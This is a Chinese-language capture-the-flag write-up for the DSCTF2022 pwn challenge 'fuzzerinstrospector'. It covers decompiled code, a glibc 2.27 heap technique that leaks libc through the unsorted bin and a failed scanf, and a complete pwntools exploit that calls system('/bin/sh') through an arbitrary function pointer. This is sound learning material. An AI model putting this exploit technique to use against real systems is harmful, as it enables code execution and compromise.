0%

DSCTF2022

fuzzerinstrospector

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27
1
2
3
4
5
6
7
fuzzerinstrospector: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so, for GNU/Linux 3.2.0, BuildID[sha1]=719784b3c6cf918a5fc48dea4142aae94c7f4dec, stripped
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/exp/fuzzerinstrospector'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

入侵思路

Switch-case 6:有一个任意指针调用,只要泄露出 libc_base 就可以 get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 __fastcall key(char *chunk_list)
{
char s; // [rsp+1Fh] [rbp-11h] BYREF
void (__fastcall *code)(char *); // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 canary; // [rsp+28h] [rbp-8h]

canary = __readfsqword(0x28u);
s = 0;
code = 0LL;
memset(&s, 0xCC, 0xF0uLL);
__isoc99_scanf("%ld", &code);
code(chunk_list);
return __readfsqword(0x28u) ^ canary;
}

先把 tcache 装满,然后通过 unsortedbin 获取 main_arena,接着输入非数字字符使 scanf 写入失败,这样 main_arena 就留在了可控制的 heap 中

1
2
3
4
pwndbg> telescope 0x562cbf64c9c0
00:00000x562cbf64c9c0 ◂— 0x6262626262626262 ('bbbbbbbb')
01:00080x562cbf64c9c8 ◂— 0x111
02:00100x562cbf64c9d0 —▸ 0x7f3ef5128ca0 (main_arena+96) —▸ 0x562cbf64cad0 ◂— 0x0

获取 main_arena 需要一点小技巧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int Check()
{
unsigned __int64 index; // rax
int i; // [rsp+Ch] [rbp-14h]
unsigned __int64 index_t; // [rsp+10h] [rbp-10h]
unsigned __int8 *chunk; // [rsp+18h] [rbp-8h]

printf("Index: ");
index = input();
index_t = index;
if ( index <= 8 )
{
index = chunk_list[index];
if ( index )
{
chunk = (unsigned __int8 *)chunk_list[index_t];
LODWORD(index) = puts("Bitmap set: ");
for ( i = 0; i <= 7; ++i )
LODWORD(index) = printf("Bit: %hhu\n", chunk[chunk[i] + 8]);
}
}
return index;
}
  • chunk->data 的前8字节会最为 index,使其打印 chunk[index + 8]
  • 我们只需要让 chunk[index + 8] == index,就可以确定前8字节的值了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

p=process("./fuzzerinstrospector")
elf=ELF("./fuzzerinstrospector")
libc=ELF("./libc-2.27.so")

def create(index,bitmap):
p.sendlineafter("Your choice: ",str(1))
p.sendlineafter("Index: ",str(index))
for i in range(8):
p.sendlineafter("Index: "+str(i)+": ","-")
p.sendlineafter("Bitmap: ",bitmap)

def edit(index,bitmap):
p.sendlineafter("Your choice: ",str(2))
p.sendlineafter("Index: ",str(index))
for i in range(8):
p.sendlineafter("Index: "+str(i)+": ",str(0))
p.sendlineafter("Bitmap: ",str(bitmap))

def check(index):
p.sendlineafter("Your choice: ",str(3))
p.sendlineafter("Index: ",str(index))

def dele(index):
p.sendlineafter("Your choice: ",str(4))
p.sendlineafter("Index: ",str(index))

#gdb.attach(p)

indexindex = b''
for i in range(0x100):
indexindex += i.to_bytes(1,'little')

for i in range(9):
create(i,"a"*0x100)

for i in range(9):
dele(i)

for i in range(7):
create(i,"b"*0x100)

create(7,indexindex)
check(7)

leak_addr = 0
for i in range(6):
p.recvuntil('Bit: ')
tmp = int(p.recvuntil(b'\n')[:-1],10)
leak_addr += tmp<<(i*8)

libc_base = leak_addr-0x3ebca0

success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
#pause()

onegadget=[0x4f2a5,0x4f302,0x10a2fc]
one_gadget=onegadget[2]+libc_base
system_libc = libc_base+libc.sym["system"]

dele(0)
p.sendlineafter("Your choice: ",str(1))
p.sendlineafter('Index: ',str(0))
for i in range(8):
p.sendlineafter('Index: ',str('/bin/sh\x00'[i]).encode())
p.sendafter('Bitmap: ',"a"*0x100)
p.sendlineafter("Your choice: ",str(6))
p.sendline(str(system_libc))

p.interactive()

小结:

题目本身不难,就是打的时候不知道 scanf 写入失败的情况,可惜了